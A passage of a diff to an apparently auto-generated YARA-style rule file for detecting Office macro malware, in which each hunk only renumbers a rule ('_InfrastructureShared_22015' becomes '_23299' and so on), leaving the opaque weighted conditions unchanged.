"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289457,7 +305927,7 @@ rule _InfrastructureShared_22014{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22015{ +rule _InfrastructureShared_23299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -289468,7 +305938,7 @@ rule _InfrastructureShared_22015{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8235) >=1 } -rule _InfrastructureShared_22016{ +rule _InfrastructureShared_23300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289478,7 +305948,7 @@ rule _InfrastructureShared_22016{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22017{ +rule _InfrastructureShared_23301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289488,7 +305958,7 @@ rule _InfrastructureShared_22017{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22018{ +rule _InfrastructureShared_23302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289498,7 +305968,7 @@ rule _InfrastructureShared_22018{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22019{ +rule _InfrastructureShared_23303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289508,7 +305978,7 @@ rule _InfrastructureShared_22019{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22020{ +rule _InfrastructureShared_23304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289518,7 +305988,7 @@ rule _InfrastructureShared_22020{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22021{ +rule _InfrastructureShared_23305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289528,7 +305998,7 @@ rule _InfrastructureShared_22021{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22022{ +rule _InfrastructureShared_23306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289538,7 +306008,7 @@ rule _InfrastructureShared_22022{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22023{ +rule _InfrastructureShared_23307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289548,7 +306018,7 @@ rule _InfrastructureShared_22023{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22024{ +rule _InfrastructureShared_23308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289558,7 +306028,7 @@ rule _InfrastructureShared_22024{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22025{ +rule _InfrastructureShared_23309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289568,7 +306038,7 @@ rule _InfrastructureShared_22025{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22026{ +rule _InfrastructureShared_23310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289578,7 +306048,7 @@ rule _InfrastructureShared_22026{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22027{ +rule _InfrastructureShared_23311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289588,7 +306058,7 @@ rule _InfrastructureShared_22027{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22028{ +rule _InfrastructureShared_23312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289598,7 +306068,7 @@ rule _InfrastructureShared_22028{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22029{ +rule _InfrastructureShared_23313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289608,7 +306078,7 @@ rule _InfrastructureShared_22029{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22030{ +rule _InfrastructureShared_23314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289618,7 +306088,7 @@ rule _InfrastructureShared_22030{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22031{ +rule _InfrastructureShared_23315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289628,7 +306098,7 @@ rule _InfrastructureShared_22031{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22032{ +rule _InfrastructureShared_23316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289638,7 +306108,7 @@ rule _InfrastructureShared_22032{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22033{ +rule _InfrastructureShared_23317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289648,7 +306118,7 @@ rule _InfrastructureShared_22033{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22034{ +rule _InfrastructureShared_23318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289658,7 +306128,7 @@ rule _InfrastructureShared_22034{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22035{ +rule _InfrastructureShared_23319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289668,7 +306138,7 @@ rule _InfrastructureShared_22035{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22036{ +rule _InfrastructureShared_23320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289678,7 +306148,7 @@ rule _InfrastructureShared_22036{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22037{ +rule _InfrastructureShared_23321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289688,7 +306158,7 @@ rule _InfrastructureShared_22037{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22038{ +rule _InfrastructureShared_23322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289698,7 +306168,7 @@ rule _InfrastructureShared_22038{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22039{ +rule _InfrastructureShared_23323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289708,7 +306178,7 @@ rule _InfrastructureShared_22039{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22040{ +rule _InfrastructureShared_23324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289718,7 +306188,7 @@ rule _InfrastructureShared_22040{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22041{ +rule _InfrastructureShared_23325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289728,7 +306198,7 @@ rule _InfrastructureShared_22041{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22042{ +rule _InfrastructureShared_23326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289738,7 +306208,7 @@ rule _InfrastructureShared_22042{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22043{ +rule _InfrastructureShared_23327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289748,7 +306218,7 @@ rule _InfrastructureShared_22043{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22044{ +rule _InfrastructureShared_23328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289758,7 +306228,7 @@ rule _InfrastructureShared_22044{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22045{ +rule _InfrastructureShared_23329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289768,7 +306238,7 @@ rule _InfrastructureShared_22045{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22046{ +rule _InfrastructureShared_23330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289778,7 +306248,7 @@ rule _InfrastructureShared_22046{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22047{ +rule _InfrastructureShared_23331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289788,7 +306258,7 @@ rule _InfrastructureShared_22047{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22048{ +rule _InfrastructureShared_23332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289798,7 +306268,7 @@ rule _InfrastructureShared_22048{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22049{ +rule _InfrastructureShared_23333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289808,7 +306278,7 @@ rule _InfrastructureShared_22049{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22050{ +rule _InfrastructureShared_23334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289818,7 +306288,7 @@ rule _InfrastructureShared_22050{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22051{ +rule _InfrastructureShared_23335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289828,7 +306298,7 @@ rule _InfrastructureShared_22051{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22052{ +rule _InfrastructureShared_23336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -289839,7 +306309,7 @@ rule _InfrastructureShared_22052{ ((#a_53_0 & 1)*19747+(#a_46_1 & 1)*29793) >=1 } -rule _InfrastructureShared_22053{ +rule _InfrastructureShared_23337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289849,7 +306319,7 @@ rule _InfrastructureShared_22053{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22054{ +rule _InfrastructureShared_23338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289859,7 +306329,7 @@ rule _InfrastructureShared_22054{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22055{ +rule _InfrastructureShared_23339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289869,7 +306339,7 @@ rule _InfrastructureShared_22055{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22056{ +rule _InfrastructureShared_23340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289879,7 +306349,7 @@ rule _InfrastructureShared_22056{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22057{ +rule _InfrastructureShared_23341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289889,7 +306359,7 @@ rule _InfrastructureShared_22057{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22058{ +rule _InfrastructureShared_23342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289899,7 +306369,7 @@ rule _InfrastructureShared_22058{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22059{ +rule _InfrastructureShared_23343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289909,7 +306379,7 @@ rule _InfrastructureShared_22059{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22060{ +rule _InfrastructureShared_23344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289919,7 +306389,7 @@ rule _InfrastructureShared_22060{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22061{ +rule _InfrastructureShared_23345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289929,7 +306399,7 @@ rule _InfrastructureShared_22061{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22062{ +rule _InfrastructureShared_23346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289939,7 +306409,7 @@ rule _InfrastructureShared_22062{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22063{ +rule _InfrastructureShared_23347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289949,7 +306419,7 @@ rule _InfrastructureShared_22063{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22064{ +rule _InfrastructureShared_23348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289959,7 +306429,7 @@ rule _InfrastructureShared_22064{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22065{ +rule _InfrastructureShared_23349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289969,7 +306439,7 @@ rule _InfrastructureShared_22065{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22066{ +rule _InfrastructureShared_23350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289979,7 +306449,7 @@ rule _InfrastructureShared_22066{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22067{ +rule _InfrastructureShared_23351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289989,7 +306459,7 @@ rule _InfrastructureShared_22067{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22068{ +rule _InfrastructureShared_23352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -289999,7 +306469,7 @@ rule _InfrastructureShared_22068{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22069{ +rule _InfrastructureShared_23353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290009,7 +306479,7 @@ rule _InfrastructureShared_22069{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22070{ +rule _InfrastructureShared_23354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290019,7 +306489,7 @@ rule _InfrastructureShared_22070{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22071{ +rule _InfrastructureShared_23355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290029,7 +306499,7 @@ rule _InfrastructureShared_22071{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22072{ +rule _InfrastructureShared_23356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290039,7 +306509,7 @@ rule _InfrastructureShared_22072{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22073{ +rule _InfrastructureShared_23357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290049,7 +306519,7 @@ rule _InfrastructureShared_22073{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22074{ +rule _InfrastructureShared_23358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290059,7 +306529,7 @@ rule _InfrastructureShared_22074{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22075{ +rule _InfrastructureShared_23359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290069,7 +306539,7 @@ rule _InfrastructureShared_22075{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22076{ +rule _InfrastructureShared_23360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290079,7 +306549,7 @@ rule _InfrastructureShared_22076{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22077{ +rule _InfrastructureShared_23361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290089,7 +306559,7 @@ rule _InfrastructureShared_22077{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22078{ +rule _InfrastructureShared_23362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290099,7 +306569,7 @@ rule _InfrastructureShared_22078{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22079{ +rule _InfrastructureShared_23363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290109,7 +306579,7 @@ rule _InfrastructureShared_22079{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22080{ +rule _InfrastructureShared_23364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290119,7 +306589,7 @@ rule _InfrastructureShared_22080{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22081{ +rule _InfrastructureShared_23365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290129,7 +306599,7 @@ rule _InfrastructureShared_22081{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22082{ +rule _InfrastructureShared_23366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290139,7 +306609,7 @@ rule _InfrastructureShared_22082{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22083{ +rule _InfrastructureShared_23367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290149,7 +306619,7 @@ rule _InfrastructureShared_22083{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22084{ +rule _InfrastructureShared_23368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290159,7 +306629,7 @@ rule _InfrastructureShared_22084{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22085{ +rule _InfrastructureShared_23369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290169,7 +306639,7 @@ rule _InfrastructureShared_22085{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22086{ +rule _InfrastructureShared_23370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290179,7 +306649,7 @@ rule _InfrastructureShared_22086{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22087{ +rule _InfrastructureShared_23371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290189,7 +306659,7 @@ rule _InfrastructureShared_22087{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22088{ +rule _InfrastructureShared_23372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290199,7 +306669,7 @@ rule _InfrastructureShared_22088{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22089{ +rule _InfrastructureShared_23373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -290209,7 +306679,7 @@ rule _InfrastructureShared_22089{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22090{ +rule _InfrastructureShared_23374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -290220,7 +306690,7 @@ rule _InfrastructureShared_22090{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*8311) >=1 } -rule _InfrastructureShared_22091{ +rule _InfrastructureShared_23375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290230,7 +306700,7 @@ rule _InfrastructureShared_22091{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22092{ +rule _InfrastructureShared_23376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290240,7 +306710,7 @@ rule _InfrastructureShared_22092{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22093{ +rule _InfrastructureShared_23377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290250,7 +306720,7 @@ rule _InfrastructureShared_22093{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22094{ +rule _InfrastructureShared_23378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290260,7 +306730,7 @@ rule _InfrastructureShared_22094{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22095{ +rule _InfrastructureShared_23379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290270,7 +306740,7 @@ rule _InfrastructureShared_22095{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22096{ +rule _InfrastructureShared_23380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290280,7 +306750,7 @@ rule _InfrastructureShared_22096{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22097{ +rule _InfrastructureShared_23381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290290,7 +306760,7 @@ rule _InfrastructureShared_22097{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22098{ +rule _InfrastructureShared_23382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290300,7 +306770,7 @@ rule _InfrastructureShared_22098{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22099{ +rule _InfrastructureShared_23383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290310,7 +306780,7 @@ rule _InfrastructureShared_22099{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22100{ +rule _InfrastructureShared_23384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290320,7 +306790,7 @@ rule _InfrastructureShared_22100{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22101{ +rule _InfrastructureShared_23385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290330,7 +306800,7 @@ rule _InfrastructureShared_22101{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22102{ +rule _InfrastructureShared_23386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290340,7 +306810,7 @@ rule _InfrastructureShared_22102{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22103{ +rule _InfrastructureShared_23387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -290351,7 +306821,7 @@ rule _InfrastructureShared_22103{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*25957) >=1 } -rule _InfrastructureShared_22104{ +rule _InfrastructureShared_23388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290361,7 +306831,7 @@ rule _InfrastructureShared_22104{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22105{ +rule _InfrastructureShared_23389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290371,7 +306841,7 @@ rule _InfrastructureShared_22105{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22106{ +rule _InfrastructureShared_23390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290381,7 +306851,7 @@ rule _InfrastructureShared_22106{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22107{ +rule _InfrastructureShared_23391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290391,7 +306861,7 @@ rule _InfrastructureShared_22107{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22108{ +rule _InfrastructureShared_23392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290401,7 +306871,7 @@ rule _InfrastructureShared_22108{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22109{ +rule _InfrastructureShared_23393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290411,7 +306881,7 @@ rule _InfrastructureShared_22109{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22110{ +rule _InfrastructureShared_23394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290421,7 +306891,7 @@ rule _InfrastructureShared_22110{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22111{ +rule _InfrastructureShared_23395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290431,7 +306901,7 @@ rule _InfrastructureShared_22111{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22112{ +rule _InfrastructureShared_23396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290441,7 +306911,7 @@ rule _InfrastructureShared_22112{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22113{ +rule _InfrastructureShared_23397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290451,7 +306921,7 @@ rule _InfrastructureShared_22113{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22114{ +rule _InfrastructureShared_23398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290461,7 +306931,7 @@ rule _InfrastructureShared_22114{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22115{ +rule _InfrastructureShared_23399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -290471,7 +306941,7 @@ rule _InfrastructureShared_22115{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22116{ +rule _InfrastructureShared_23400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 